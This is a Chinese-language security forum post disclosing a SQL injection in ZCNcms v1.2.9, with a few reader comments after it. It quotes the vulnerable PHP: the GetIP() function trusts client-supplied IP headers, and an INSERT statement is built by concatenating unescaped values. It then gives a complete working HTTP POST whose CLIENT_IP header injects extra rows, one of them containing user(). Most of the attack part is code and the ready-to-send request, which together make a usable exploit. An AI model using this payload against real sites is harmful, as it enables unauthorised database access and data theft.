ZCNcms v1.2.9 sql注入 (有些鸡肋)
TEAM : codeplay TAEAM
出差结束了,辞职了,没事做了,就看见了一张图片
人家是seay大牛 ,俺就是打酱油的,就看看这个站了 ,
开始吧,还是那个问题 getip(),大家一看就懂的 。一看大家都懂。
代理开始搞一下。
然后 数据库就。。
就是 随便看看,希望大家别喷我。
出差结束了,辞职了,没事做了,就看见了一张图片
人家是seay大牛 ,俺就是打酱油的,就看看这个站了 ,
开始吧,还是那个问题 getip(),大家一看就懂的 。
books.php 从105行开始
case 'add'://
if(isset($submit)){
$info = array();
$time = time();
if(!isset($classid)){
$classid = 1;
}
$classid = intval($classid);
if($classid < 1){
$classid = 1;
}
$v->Validate($niname,'姓名','safein','1','',3,15);
$v->Validate($title,'标题','safein','1','',0,50);
$v->Validate($addr,'地址','safein','1','',0,50);
$v->Validate($tel,'电话','safein','1','',0,50);
$v->Validate($mobile,'手机','safein','1','',0,50);
$v->Validate($msn,'msn','safein','1','',0,50);
$v->Validate($email,'email','safein','1','',1,100);
$v->Validate($qq,'qq','safein','1','',0,50);
//if($content == ''){
// errorinfo('请输入留言内容','');
//}
$v->Validate($content,'留言','safein','1','',3,300);
$info=array('title'=>$title,
'email'=>$email,
'tel'=>$tel,
'mobile'=>$mobile,
'addr'=>$addr,
'qq'=>$qq,
'msn'=>$msn,
'content'=>$content,
'classid'=>$classid,
'memberid'=>'0',
'niname'=>$niname,
'addtime'=>$time,
'ipaddr'=>GetIP(), //这个地方 到->function.inc.php
'isok'=>'0',
'isplay'=>'0'
);
if(isset($id)){
//只有添加
} else {
ECHO $info;
if($books->Add($info)){ //开始了进入 model.class.php
errorinfo('信息反馈成功','?c=books&a=add');
}else{
errorinfo('信息反馈失败','');
}
model.class.php
function Add($info){
$keylist = '';
$valuelist = '';
foreach($info as $key=>$value){
$keylist.=$key.','; //没过滤,其实是过滤不完整
$valuelist.="'$value',";
}
if(substr($keylist,strlen($keylist)-1,strlen($keylist))==','){ //可以绕过 ,
$keylist=substr($keylist,0,strlen($keylist)-1);
$valuelist=substr($valuelist,0,strlen($valuelist)-1);
}
$sql="insert into ".$this->table."($keylist) values($valuelist)"; //开始了
//echo $sql;
//EXIT;
//EXIT;
global $db;
$db->ExecuteNoneQuery($sql);
return $db->GetInsertId();
}
function.inc.php
//获取ip
function GetIP(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
代理开始搞一下。
POST /zcncms-v1.2.9/zcncms/?c=books&a=add&classid=1 HTTP/1.1
Host: 192.168.1.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: [url]http://192.168.1.111/zcncms-v1.2.9/zcncms/?c=books&a=add&classid=1[/url]
Cookie: PHPSESSID=0p44oqk3jj4l3tbmj66fgo3cl1; AJSTAT_ok_pages=32; AJSTAT_ok_times=1
Content-Type: application/x-www-form-urlencoded
CLIENT_IP: 127.0.0.1','0','0'),('xxxxx','[email protected]','1904521507','1904521507','1904521507','1','1',(user()),'1','0','1','111','127.0.0.1','0','0'),('xxxxx','[email protected]','1904521507','1904521507','1904521507','1','1','1','1','0','1','111','127.0.0.1
Content-Length: 203
title=title&niname=username&addr=2&mobile=2&tel=010-87654321&email=1904521507%40qq.com&qq=&msn=&content=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&submit=%E6%8F%90%E4%BA%A4&classid=1&submit=%E6%8F%90%E4%BA%A4
然后 数据库就。。
就是 随便看看,希望大家别喷我。
评论11次
感谢分享
喜欢LZ分享的精神,喜欢土司的这种氛围
这个没有技术含量,不过新人给点支持。
终于看到你了 xiaoxiao
加你Q了
不鸡肋啊。。$_SERVER是无视gpc的。。
很活跃吗,年轻人
不错 谢谢楼主分享精神
赞下楼主的共享精神!
支持一个